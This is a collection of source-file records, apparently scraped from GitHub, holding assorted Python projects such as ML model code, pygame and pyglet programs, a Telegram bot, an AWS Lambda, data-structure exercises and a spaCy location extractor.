+{"seq_id":"43046799607","text":"import tensorflow as tf\nimport numpy as np\n\n### CONVERSION\n\nkeras_file = 'vae_test.h5'\ndataset = np.random.rand(100, 90).astype(np.float32)\n\ndef representative_dataset_gen():\n\tfor i in range(100):\n\t\tyield [dataset[i:i+1]]\n\nconverter = tf.compat.v1.lite.TFLiteConverter.from_keras_model_file(keras_file)\nconverter.representative_dataset = representative_dataset_gen\nconverter.target_ops = [tf.lite.OpsSet.TFLITE_BUILTINS_INT8]\nconverter.inference_input_type = tf.uint8\nconverter.inference_output_type = tf.uint8\nconverter.optimizations = [tf.lite.Optimize.DEFAULT]\n\ntflite_file_name = 'vae_keras.tflite'\ntflite_model = converter.convert()\nopen(tflite_file_name, 'wb').write(tflite_model)\n\n### Test tflite model\n\ninterpreter = tf.lite.Interpreter(model_path=tflite_file_name)\ninterpreter.allocate_tensors()\n\ninput_detail = interpreter.get_input_details()[0]\noutput_detail = interpreter.get_output_details()[0]\nprint('Input detail: ', input_detail)\nprint('Output detail: ', output_detail)\n\ndef quantize(real_value):\n\tstd, mean = input_detail['quantization']\n\treturn (real_value / std + mean).astype(np.uint8)\n\ndef dequantize(quant_value):\n\tstd, mean = output_detail['quantization']\n\treturn (std * (quant_value - mean)).astype(np.float32)\n\ninterpreter.set_tensor(input_detail['index'], quantize(np.random.rand(1, 90).astype(np.float32)))\ninterpreter.invoke()\npred_litemodel = interpreter.get_tensor(output_detail['index'])\n\ndeq_output = dequantize(pred_litemodel)\nprint(deq_output)","repo_name":"DocDriven/tflite_tests","sub_path":"keras_conversion.py","file_name":"keras_conversion.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1443525993","text":"import sys, pygame, time, Defines\nimport threading\nimport functools\nimport socket\nfrom DDRGame import DDRGame\n\npygame.init()\nscreen = pygame.display.set_mode(Defines.SCREEN_SIZE)\n\ngameInstance = DDRGame(screen)\nclock = pygame.time.Clock()\n\nmsgs = set()\nmsgs_lock = threading.Lock()\n\n\ndef pump():\n moves_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n moves_socket.setblocking(1)\n moves_socket.bind(('0.0.0.0', 1337))\n for direction in iter(functools.partial(moves_socket.recv, 10), ''):\n direction = int(direction)\n with msgs_lock:\n msgs.add(direction)\n\n\nthreading.Thread(target=pump).start()\n\nwhile 1:\n clock.tick(60)\n\n screen.fill(Defines.WHITE)\n gameInstance.DoTurn()\n\n with msgs_lock:\n for direction in msgs:\n print(direction)\n gameInstance.CheckIfArrowOnTarget(direction)\n msgs.clear()\n for event in pygame.event.get():\n if event.type == pygame.QUIT: sys.exit()\n if event.type == pygame.KEYDOWN:\n gameInstance.CheckIfArrowOnTarget(DDRGame.KeyToDirection(event.key))\n\n pygame.display.flip()\n","repo_name":"PureShefi/DDR","sub_path":"DDR/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"2750965454","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom ClosedSynchrony import *\nfrom PatternJitter import *\nfrom TransitMatrix import *\nfrom Surrogate import *\nfrom Data import *\n\n# x_tilde = [10, 15, 22, 29, 34, 40, 45, 51]\n# L = 5\n# R = 4\nRef = [8, 13, 19, 28, 34, 42, 44, 49]\nRef_02 = [10, 14, 17]\nRef_03 = [10, 14, 17, 20]\n\ndef getSpikeTrainMat(L, R, obsX, initDist, tDistMatrices, N):\n\n n = 0\n length = 0\n hisLen = 0\n\n n = N\n length = L\n hisLen = R\n\n initD = []\n ObsTar = []\n tDistMat = []\n spikeTrainMat = []\n\n initD = initDist\n tDistMat = tDistMatrices\n ObsTar = obsX\n\n for i in range(N):\n\n print('[[[[[[[Spike Train Index: ', i,']]]]]]]')\n surrogate = getSurrogate(ObsTar, length, hisLen, initD, tDistMat)\n spikeTrainMat.append(surrogate)\n\n Tmat = np.array(spikeTrainMat)\n return Tmat\n\ndef getAmountSync(Reference, Target):\n s = 0\n S = []\n Ref = []\n Tmat = []\n ref = Reference\n Tmat = Target\n for j, Tj in enumerate(Tmat):\n # Check how many elements are equal in two arrays (R, T)\n # print('Tj: ', Tj)\n s = np.sum(ref == np.array(Tj))\n # print('Coincidence: ', s)\n S.append(s)\n # print('# Sync: ', s)\n return S\n\nL = 5\nR = 2\nfRate = 20#40\nSize = 40#100\nspikeData = getSpikeData(Size, fRate)\nspikeTrain = getSpikeTrain(spikeData)\n\n# print('Spike Data: ')\n# print(spikeData)\n\nN = len(spikeTrain)\ninitDist = getInitDist(L)\ntDistMatrices = getTransitionMatrices(L, N)\nref = getReference(Size, L, N)\n\nprint('Initial Distribution: ')\nprint(initDist)\nprint('Transition Matrices: ')\nprint(tDistMatrices)\n\n\n################################################################\n# Compute the Synchrony Distribution by Monte Carlo resamples\n################################################################\nTmat = getSpikeTrainMat(L, R, spikeTrain, initDist, tDistMatrices, 1000)\nprint('Spike Trains: ')\nprint(Tmat)\n\n\nprint('Reference: ')\nprint(ref)\nprint('Target: ')\nprint(spikeTrain)\n\n\nS = getAmountSync(ref, Tmat)\nprint('Amount_Synchrony: ', S)\nAll = np.sum(S)\nplt.hist(S, 60, range=[0, N], normed=False, facecolor='gray', align='mid') #, bins='auto'\n#hist(hmag, 30, range=[6.5, 12.5], facecolor='gray', align='mid')\nplt.show()\n\n\n# '''\n################################################\n# Compute the Analytic Synchrony Distribution\n################################################\n\nsyncStateMat = getSyncState(L, ref, spikeTrain)\nprint('Sync State Matrix: ')\nprint(syncStateMat, '\\n')\n\nP_Smat = getInitSyncDist(initDist, syncStateMat)\nP_S1 = getP_S1(syncStateMat, P_Smat)\nprint('Init P_S: ')\nprint(P_Smat, '\\n')\n\n\nP_S = getSyncDist(N, P_Smat, syncStateMat, tDistMatrices)\nprint('P(S1):', P_S1)\nprint('P(S',N,'): ', P_S)\nprint('Area of Sync Dist (S',N,'): ', np.sum(P_S))\n\nprint('Reference: ')\nprint(ref)\n\nprint('Target: ')\nprint(spikeTrain)\n\n\nfor i, prob in enumerate(P_S):\n plt.scatter(i, prob)\n\nplt.xlim(0, N)\nplt.ylim(0, 0.4)\nplt.show()\n# '''\n","repo_name":"minubae/closed_form_pattern_jitter_analysis","sub_path":"MCSynchrony.py","file_name":"MCSynchrony.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"70543668413","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass Net(nn.Module):\n # paper used a dataset of 809 cleaned up classes\n def __init__(self, classes = 809):\n super(Net, self).__init__()\n\n # classes\n self.fc1_c = nn.Linear(classes, 512)\n self.fc2_c = nn.Linear(512, 512)\n\n # views\n self.fc1_v = nn.Linear(4, 512)\n self.fc2_v = nn.Linear(512, 512)\n\n # transforms\n self.fc1_t = nn.Linear(12, 512)\n self.fc2_t = nn.Linear(512, 512)\n\n self.fc3 = nn.Linear(1536, 1024)\n self.fc4 = nn.Linear(1024, 1024)\n self.fc5 = nn.Linear(1024, 16384)\n\n # reshaping is in the forward function \n \n # upsample layers\n self.upconv1 = nn.ConvTranspose2d(256, 256, kernel_size=4,stride=2,padding=1)\n self.conv1_1 = nn.Conv2d(256, 256, kernel_size=3, padding=1)\n self.upconv2 = nn.ConvTranspose2d(256, 92, kernel_size=4, stride=2, padding=1)\n self.conv2_1 = nn.Conv2d(92, 92, kernel_size=3, padding=1)\n self.upconv3 = nn.ConvTranspose2d(92, 48, kernel_size=4, stride=2, padding=1)\n self.conv3_1 = nn.Conv2d(48, 48, kernel_size=3, padding=1)\n # upconv4 for generating the target color image\n self.upconv4_image = nn.ConvTranspose2d(48, 3, kernel_size=4, stride=2, padding=1)\n # upconv4 for generating the target segmentation mask\n self.upconv4_mask = nn.ConvTranspose2d(48, 1, kernel_size=4, stride=2, padding=1)\n \n # softmax for mask output if we use Cross-Entropy\n # self.softmax = nn.Softmax2d()\n # when use softmax, all the loss is 0, so we change sigmoid\n # and the loss function to nn.BCELoss()\n self.sigmoid = nn.Sigmoid()\n \n\n def forward(self, c, v, t):\n\n # process each input separately\n c = F.relu(self.fc1_c(c))\n c = F.relu(self.fc2_c(c))\n\n v = F.relu(self.fc1_v(v))\n v = F.relu(self.fc2_v(v))\n\n t = F.relu(self.fc1_t(t))\n t = F.relu(self.fc2_t(t))\n \n # concatenate three tensors\n x = torch.cat((c, v, t), dim=1)\n\n x = F.relu(self.fc3(x))\n x = F.relu(self.fc4(x))\n x = F.relu(self.fc5(x))\n \n # resize the 1-d tensor into 2-d tensor\n x = x.view(-1, 256, 8, 8)\n\n # use CNN to process \n x = F.relu(self.upconv1(x))\n x = F.relu(self.conv1_1(x))\n x = F.relu(self.upconv2(x))\n x = F.relu(self.conv2_1(x))\n x = F.relu(self.upconv3(x))\n x = F.relu(self.conv3_1(x))\n\n # to get the two ouputs\n image = self.upconv4_image(x)\n # mask = self.upconv4_mask(x) # if use squared Euclidean distance\n # mask = self.softmax(self.upconv4_mask(x)) # if use NLL loss\n mask = self.sigmoid(self.upconv4_mask(x))\n return image, mask","repo_name":"bmahlbrand/Learning-to-Generate-Chairs-with-Convolutional-Neural-Networks","sub_path":"modules/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"35730548502","text":"import json\nimport boto3\n\n# Configurando o boto3\ns3_client = boto3.client('s3')\ndynamodb_client = boto3.resource('dynamodb')\ntable = dynamodb_client.Table('resultado_votos')\n\n#Função de update e create do item caso não exista dentro do dynatrace. De forma que a chamada seja organizada.\ndef update_create(item,valor_item):\n result = table.update_item(\n Key={\n 'candidato': item,\n },\n UpdateExpression=\"ADD total_votos :i\",\n ExpressionAttributeValues={\n ':i': valor_item,\n },\n ReturnValues=\"UPDATED_NEW\"\n )\n \n## Função handler para lidar com a lógica.\ndef handler(event, context):\n ##Configurando variaveis para controlar o arquivo dentro do bucket.\n bucket = event['Records'][0]['s3']['bucket']['name']\n file = event['Records'][0]['s3']['object']['key']\n ## lógica para pegar conteúdo do arquivo.\n json_object = s3_client.get_object(Bucket=bucket,Key=file)\n json_file = json_object['Body'].read()\n conteudo = json.loads(json_file)\n votos = conteudo['votos']\n ##Definindo variavel para ser utilizada fora do for.\n total_votos = 0\n ##Loop de Adição de votos\n for item in votos:\n total_votos += votos[item]\n update_create(item,votos[item])\n print('Item inserido do dynamodb = '+item+', total'+str(votos[item]))\n ##Adição do total de votos\n update_create('totaldevotos',total_votos)\n \n\n \n ","repo_name":"zjjcmnv/Exercicio-final","sub_path":"s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1429903760","text":"import sys\nimport pyglet\nfrom math import *\nimport random\n\nwindowSize= 1000\n\n#The length of one side of the square\n#in percentage of the window\nSIZE = 0.8\n\n#Center of window\nWINDOW_CENTER = windowSize/2\n\n#Half the size of the square (Used for coordinates)\nHALF_SIZE = WINDOW_CENTER*SIZE\n\n#The length of the radius (used for pi calculation)\nCIRCLE_RADIUS = (windowSize/2)*SIZE\n\n#Number of Vertices used to draw the circle\nNUM_OF_VERTICES = 80000\n\n#Speed at which points are drawn\nSPEED = 1\n\n#List containing all the points drawn\nallPoints = []\n\nbatchAllPoints = pyglet.graphics.Batch()\n\ntotalPoints = 0\npointsInCircle = 0\n\ndef getPi():\n return (4*pointsInCircle)/totalPoints\n\nclass Point:\n def __init__(self):\n #create new point at random position\n self.x = random.randint(abs(WINDOW_CENTER-HALF_SIZE), WINDOW_CENTER+HALF_SIZE)\n self.y = random.randint(abs(WINDOW_CENTER-HALF_SIZE), WINDOW_CENTER+HALF_SIZE)\n\n circleColor = ('c3B', [0, 0, 0])\n squareColor = ('c3B', [255, 255, 255])\n\n #Set up data for the vertex list\n vertexFormat = 'v2i'\n\n #Check if the point is in the circle\n if self.isInCirlce():\n global pointsInCircle\n pointsInCircle = pointsInCircle+ 1\n self.color = circleColor\n else: \n self.color = squareColor\n\n #create a pyglet vertex list\n #self.vertices = pyglet.graphics.vertex_list(1, (vertexFormat, [self.x,self.y]), self.color)\n \n def draw(self):\n self.vertices.draw(pyglet.gl.GL_POINTS)\n\n def isInCirlce(self):\n #Check if it is in circle\n if ((self.x-WINDOW_CENTER)**2 + (self.y -WINDOW_CENTER)**2) < CIRCLE_RADIUS**2:\n return True\n else:\n return False\n\nclass Circle:\n def __init__(self):\n #Set up vertex list params\n vertexFormat = 'v2f'\n colorFormat = 'c3B'\n color = [255,255,255]*(NUM_OF_VERTICES)\n\n #Center the circle in the square\n center = windowSize/2\n\n #Radius based on size of length of a side of the square\n size = center * SIZE\n \n #Create vertex list for the vertices in a circle\n verts = []\n for i in range(NUM_OF_VERTICES):\n angle = radians(float(i)/NUM_OF_VERTICES * 360.0)\n x = size*cos(angle) + center\n y = size*sin(angle) + center\n verts += [x,y]\n \n self.vertices = pyglet.graphics.vertex_list(NUM_OF_VERTICES, (vertexFormat, verts), (colorFormat, color))\n\n def draw(self):\n self.vertices.draw(pyglet.gl.GL_POLYGON)\n\nclass Square:\n def __init__(self):\n #Set up format for vertex list params\n vertexFormat = 'v2i'\n colorFormat = 'c3B'\n\n #Color of the square\n color = [0, 0, 0] *4\n\n #Get the vertices based on size\n allVertices = self.get_vectors()\n allVertices = [abs(int(x)) for x in allVertices]\n\n #define the vertices as a pyglet vertex_list\n self.vertices = pyglet.graphics.vertex_list(4, (vertexFormat, allVertices), (colorFormat, color))\n\n def get_vectors(self):\n #TODO: Change these to use the global variables defined above\n centerX = windowSize/2 \n centerY = windowSize/2\n halfSizeX = (SIZE*windowSize)/2\n halfSizeY = (SIZE*windowSize)/2\n \n return [centerX-halfSizeX,centerY+halfSizeY, centerX+halfSizeX,centerY+halfSizeY, centerX+halfSizeX,centerY-halfSizeY, centerX-halfSizeX,centerY-halfSizeY]\n\n def draw(self):\n self.vertices.draw(pyglet.gl.GL_QUADS)\n\nclass View(pyglet.window.Window):\n def __init__(self, *args, **kwargs):\n super(View, self).__init__(*args, **kwargs)\n self.square = Square()\n self.circle = Circle()\n self.piLabel = pyglet.text.Label('0', font_name='Times New Roman', font_size=50, x=20, y=20, color=(0,0,0,255))\n\n def on_draw(self):\n self.clear()\n self.square.draw()\n self.circle.draw()\n self.piLabel.draw()\n batchAllPoints.draw()\n\n # for point in allPoints:\n # point.draw()\n\n def update(self, dt):\n global totalPoints\n for i in range(SPEED):\n #Create a new point\n point = Point()\n\n #Add it to the batch\n batchAllPoints.add(1, pyglet.gl.GL_POINTS, None, ('v2i', [point.x, point.y]), point.color)\n # allPoints.append(Point())\n\n #Keep track of number of points\n totalPoints = totalPoints + 1\n\n #Calculate pi\n piFloat = getPi()\n\n #Convert pi to string\n piString = \"{:.9f}\".format(piFloat)\n\n #Update label\n # self.piLabel = pyglet.text.Label(piString, font_name='Times New Roman', font_size=50, x=20, y=20, color=(0,0,0,255))\n self.piLabel.text = piString\n\nif __name__ == '__main__':\n #Create window\n window = View(width=windowSize, height=windowSize, caption=\"Estimating Pi\", resizable=False)\n \n #Set Background\n pyglet.gl.glClearColor(220/255,220/255, 220/255,0)\n\n #Schedule update function\n pyglet.clock.schedule_interval(window.update, 1/60.0)\n\n pyglet.app.run()\n","repo_name":"ggc99/estimating-pi-using-MonteCarloMethod","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24835322071","text":"# Functions must always all be lower case\n# Function creation -- body should be indented\ndef sayhi(name, age):\n print(\"Hello \" + name +\" you are \" + str(age))\n\n# Calling the function\nprint(\"Top\")\nsayhi(\"Mike\", 37)\nsayhi(\"Steve\", 60)\nprint(\"Bottom\")\n\n# Return statment\ndef cube(num):\n num*num*num\n\ndef cube1(num):\n return num*num*num\n print(\"code\")\n \nprint(cube(3))\nprint(cube1(4))\n\n# If statements\nis_male = True\nis_tall = False\n\nif is_male and is_tall:\n print(\"You are a male or tall\")\nelif is_male and not(is_tall):\n print(\"You are a short male\")\nelif not(is_male) and is_tall:\n print(\"You are not a male but are tall\")\nelse:\n print(\"You neither male nor tall or both\")\n\n\n# If statments & comparisons\ndef max_num(num1, num2, num3):\n if num1 >= num2 and num1>= num3:\n return num1\n elif num2 >= num1 and num2 >= num3:\n return num2\n else:\n return num3\n\nprint(max_num(1, 2, 3))","repo_name":"rinad9/PythonT","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12031874401","text":"\"\"\"\nTest FeatureNamespaceService\n\"\"\"\nimport pytest\nfrom bson.objectid import ObjectId\n\nfrom featurebyte.schema.feature import FeatureServiceCreate\n\n\n@pytest.mark.asyncio\nasync def test_update_document(feature_namespace_service, feature_service, feature):\n \"\"\"Test update document\"\"\"\n namespace = await feature_namespace_service.get_document(\n document_id=feature.feature_namespace_id\n )\n assert namespace.feature_ids == [feature.id]\n\n # add new feature with the same feature namespace ID\n feat_dict = feature.dict(by_alias=True)\n feat_dict[\"_id\"] = ObjectId()\n feat_dict[\"version\"] = {\"name\": \"V220917\"}\n new_feat = await feature_service.create_document(data=FeatureServiceCreate(**feat_dict))\n\n # check updated namespace\n namespace = await feature_namespace_service.get_document(\n document_id=feature.feature_namespace_id\n )\n assert namespace.feature_ids == sorted([feature.id, new_feat.id])\n\n # add a new feature with different feature namespace ID\n feat_dict = feature.dict(by_alias=True)\n feat_dict[\"_id\"] = ObjectId()\n feat_dict[\"name\"] = \"random_name\"\n feat_dict[\"feature_namespace_id\"] = ObjectId()\n new_feat = await feature_service.create_document(data=FeatureServiceCreate(**feat_dict))\n assert new_feat.feature_namespace_id != feature.feature_namespace_id\n\n # check updated namespace\n namespace = await feature_namespace_service.get_document(\n document_id=new_feat.feature_namespace_id\n )\n assert namespace.feature_ids == [new_feat.id]\n","repo_name":"featurebyte/featurebyte","sub_path":"tests/unit/service/test_feature_namespace.py","file_name":"test_feature_namespace.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"78"}
+{"seq_id":"43658511122","text":"import datetime, time\nfrom antypes import Binary, options\nimport types\n\nallowed_data_types = [list, dict, str, unicode, int, long, float,\n time.struct_time, datetime.time, datetime.datetime, bool,\n Binary, options, types.NoneType]\n\nrelation_reserved_words = ('_parent_class','listmode','_type',\n '_keyrel','rel_class','_cond','_order','_pk',\n '_cascade','_backref','_old_hash','_post_save','_internal_params',\n '_current_hash','_rel_class_name','_polymorphic'\n )\nsuperdoc_reserved_words = ('_monga','_id','_metaname_','_echo','_pending_ops')\nrestrict_attribute_names = ('_data','_type')","repo_name":"anvie/fullmongoalchemist","sub_path":"const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"19351445029","text":"\"\"\"\nHandlers for bot_original commands and to start and stop bot_original\n\"\"\"\nfrom aiogram import types\n\nfrom states.game import Game\nfrom keyboards.game import get_buttons\nfrom conf import ADMIN, FIRST_QUESTION\nfrom main import bot, dp\nfrom data import text as tx\nfrom data import get_user_stickers, save_user\n\n\nasync def bot_start(dp):\n await bot.send_message(\n ADMIN,\n tx.for_admin_msg\n )\n\n\n@dp.message_handler(commands=['start'])\nasync def command_start(msg: types.Message):\n await msg.answer(tx.start_msg.format(msg.from_user.first_name))\n save_user(\n msg.from_user.id,\n msg.from_user.first_name,\n msg.from_user.username\n )\n\n\n@dp.message_handler(commands=['help'])\nasync def command_help(msg: types.Message):\n await msg.answer(tx.help_msg)\n\n\n@dp.message_handler(commands=['new_game'], state=None)\nasync def new_game(msg: types.Message):\n await msg.answer(tx.start_game)\n\n bot_msg = FIRST_QUESTION['text'][0]['question']\n girl_msg = FIRST_QUESTION['text'][1]['direct speech']\n answer1 = FIRST_QUESTION['answer1']\n answer2 = FIRST_QUESTION['answer2']\n await msg.answer(\n bot_msg,\n reply_markup=get_buttons(answer1, answer2)\n )\n await bot.forward_message(\n msg.from_user.id,\n girl_msg['account'],\n girl_msg['message']\n )\n await Game.GAME.set()\n\n\n@dp.message_handler(commands=['my_achievements'])\nasync def show_user_stickers(msg: types.Message):\n user_stickers = get_user_stickers(msg.from_user.id)\n # дописать отпраку стикеров\n for sticker in user_stickers:\n await bot.send_sticker(msg.from_user.id, sticker)\n\n\n@dp.message_handler(content_types=['text'])\nasync def command_help(msg: types.Message):\n await msg.answer(tx.help_msg)\n","repo_name":"vidyakov/quexxx","sub_path":"handlers/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"44614835710","text":"\"\"\"\nmodulo to contain implementation of ll, queue, stack Node\ncontain List class, which realises\n_append_item(data) -- add in the end\n_prepend_item(data) -- add before head\n_list_length() -- length\n_lookup_by_val(data) -- search by val\n_lookup_by_index(index) -- search by index\n_insert_item(data, index) -- add by index\n_delete_item(index) -- delete by index\n-- basic methods to these structures\neach method from this tests in module test_ll.py\n\"\"\"\n\n\nclass Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n def has_value(self, value):\n \"\"\"method to compare the value with the node data\"\"\"\n if self.data == value:\n return True\n return False\n\n\nclass List:\n def __init__(self):\n self.head = None\n self.tail = None\n\n def _append_item(self, item):\n \"\"\"add an item at the end of the list\"\"\"\n\n new_node = Node(item)\n\n if self.head is None:\n self.head = new_node\n else:\n self.tail.next = new_node\n\n self.tail = new_node\n\n def _prepend_item(self, item):\n \"\"\"add an item at the end of the list\"\"\"\n\n new_node = Node(item)\n if self.head is None:\n self._append_item(item)\n else:\n\n new_node.next = self.head\n self.head = new_node\n\n def _list_length(self):\n \"\"\"returns the number of list items\"\"\"\n\n count = 0\n current_node = self.head\n while current_node is not None:\n # increase counter by one\n count = count + 1\n\n # jump to the linked node\n current_node = current_node.next\n\n return int(count)\n\n def _lookup_by_val(self, value):\n \"\"\"search the linked list for the node that has this value\"\"\"\n\n # define current_node\n current_node = self.head\n\n # define position\n node_index = 1\n\n while current_node is not None:\n if current_node.has_value(value):\n return node_index\n\n # jump to the linked node\n current_node = current_node.next\n node_index += 1\n else:\n return False\n\n def _lookup_by_index(self, index):\n\n floating_index = 1\n current_node = self.head\n if self._list_length() >= index >= 0:\n\n while floating_index <= index:\n current_node = current_node.next\n floating_index += 1\n return current_node\n\n def _insert_item(self, data, index):\n new_node = Node(data)\n current_node = self.head\n floating_index = 1\n\n while floating_index < index - 1:\n floating_index += 1\n current_node = current_node.next\n\n temp_ref = current_node.next\n current_node.next = new_node\n new_node.next = temp_ref\n\n def _delete_item(self, index):\n \"\"\"remove the list item with the item id\"\"\"\n current_index = 1\n current_node = self.head\n previous_node = None\n\n while current_node is not None:\n if current_index == index:\n # if this is the first node (head)\n if previous_node is not None:\n previous_node.next = current_node.next\n else:\n self.head = current_node.next\n # we don't have to look any further\n return\n\n # needed for the next iteration\n previous_node = current_node\n current_node = current_node.next\n current_index = current_index + 1\n\n\n# node1 = 15\n# node2 = 8.2\n# item3 = \"Berlin\"\n# node4 = 118\n#\n# track = List()\n# print(\"track length: %i\" % track._list_length())\n#\n# for current_item in [node1, node2, item3, node4]:\n# track._append_item(current_item)\n# track._prepend_item(str(current_item) + ' head')\n#\n# print(track._lookup_by_index(2).data)\n# print(\"track length: %i\" % track.list_length())\n\n# #\n# # print(track.lookup(118))\n# # print(track.lookup(119))\n# # track.delete_item(3)\n# # track.delete_item(1)\n# track.insert_item(56, 3)\n# track.output_list()\n","repo_name":"AlfurIvan/python-education","sub_path":"python_data_structures_task/_ds_scratch_ll_s_q.py","file_name":"_ds_scratch_ll_s_q.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"19280437167","text":"from os import spawnve\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import font\nfrom tkinter.font import Font\nfrom PIL import Image,ImageTk\nfrom tkinter import messagebox\n#import mysql.connector \n#import cv2\n\n\n\n\nclass Help:\n def __init__(self,root):\n self.root=root\n self.root.geometry(\"1366x768+0+0\")\n self.root.title(\"Face Recognition system\")\n\n title_lbl1=Label(self.root,text=\"HELP DESK\",font=(\"times new roman\",35,\"bold\"),bg=\"white\",fg=\"blue\")\n title_lbl1.place(x=0,y=0,width=1530,height=45)\n\n top_img=Image.open(r\"img\\bg2.jfif\")\n top_img=top_img.resize((1530,720),Image.ANTIALIAS)\n self.proimage_top=ImageTk.PhotoImage(top_img)\n\n left_label=Label(self.root,image= self.proimage_top)\n left_label.place(x=0,y=55,width=1530,height=720)\n\n dev_label=Label(left_label,text=\"Email:hardiksomani31@gmail.com\",font=(\"times new roman\",20,\"bold\"),bg=\"white\",fg=\"blue\")\n dev_label.place(x=500,y=250)\n\n\n\nif __name__==\"__main__\":\n root=Tk()\n obj=Help(root)\n root.mainloop()","repo_name":"DSCNIE/Hacktoberfest-GDSC-NIE-2021","sub_path":"hardik-bit/DBMS/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"39568148172","text":"#!/usr/bin/python3\n\nfrom main.application import Application\nfrom config.config import Config\nfrom sensorlib.scale import Scale\n\nconfig = Config()\nconfig_data = config.get_config_data()\nis_calibrated = config_data['SCALE'].getboolean(\"calibrated\")\nprint(is_calibrated)\napp = Application()\nscale=Scale()\n\nif __name__ == '__main__':\n if is_calibrated:\n app.start()\n else :\n scale.calibrate(5000)\n","repo_name":"ramawardhanaa/samsi","sub_path":"data_logger/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"3014230500","text":"from tkinter import *\n\n# create a 300x300 canvas.\n# fill it with a checkerboard pattern.\n\n\n# def checkered(canvas, line_distance):\n# for x in range(line_distance, canvas_width, line_distance):\n# canvas.create_line(x, 0, x, canvas_height)\n# for y in range(line_distance, canvas_height, line_distance):\n# canvas.create_line(0, y, canvas_width, y)\n\nroot = Tk()\ncanvas_width = 300\ncanvas_height = 300\nw = Canvas(root,\n\t\t\t\t\t width=canvas_width,\n\t\t\t\t\t height=canvas_height)\n\n# for n in range(16):\n# \ti = n % 4\n# \tj = n // 4\n# \tox = 20 + i\n# \toy = 20 + j\n# \tw.create_rectangle(0 + ox, 0 + oy, 20 + ox, 20 + oy, fill=\"white\")\n# \tw.create_rectangle(20 + ox, 20 + oy, 40 + ox, 40 + oy, fill=\"white\")\nw.pack()\nmainloop()\n","repo_name":"greenfox-velox/szepnapot","sub_path":"week-04/3-graphics/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"45897997857","text":"import sqlite3\nimport pandas as pd\nimport os.path\nimport markdown, pdfkit, os\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport spacy\nfrom spacy import displacy\n\ncon = sqlite3.connect('scraping_01.db')\narticles_df = pd.read_sql('SELECT DISTINCT * FROM articles', con)\narticles_df = articles_df.drop(columns='level_0')\ncon.close()\n\ndef determine_place(d):\n global articles_df\n print('Article', d.name, 'of', articles_df.shape[0])\n ### https://medium.com/spatial-data-science/how-to-extract-locations-from-text-with-natural-language-processing-9b77035b3ea4\n nlp = spacy.load(\"en_core_web_sm\")\n # nlp = spacy.load(\"xx_ent_wiki_sm\")\n tmp_soup = BeautifulSoup(d['text'])\n doc = nlp(tmp_soup.text)\n locs = pd.DataFrame([c.text for c in doc.ents if c.label_ in ['LOC', 'GPE']])\n if locs.empty: return ''\n locs = locs.rename(columns={0 : 'location'})\n locs['location'] = locs['location'].str.replace('.', '')\n locs['location'] = locs['location'].str.replace(r' .+', '', regex=True)\n locs['location'] = locs['location'].str.lower()\n locs = locs.rename(columns={0 : 'location'})\n loc_counts = locs.groupby('location', as_index=False).apply(lambda a: pd.Series({'location' : a.location.iloc[0], 'count' : a.shape[0]}))\n\n loc_counts = loc_counts.sort_values(by=['count'], ascending=False).head(10).reset_index()\n\n return loc_counts.set_index('location').drop(columns='index').to_json(orient='columns')\n\n\narticles_df['location'] = articles_df.apply(lambda a: determine_place(a), axis=1)\n\ncon = sqlite3.connect('scraping_01.db')\narticles_df.to_sql('articles', con, if_exists='replace')\ncon.close()","repo_name":"daveknave/ebus_scraper","sub_path":"add_location.py","file_name":"add_location.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
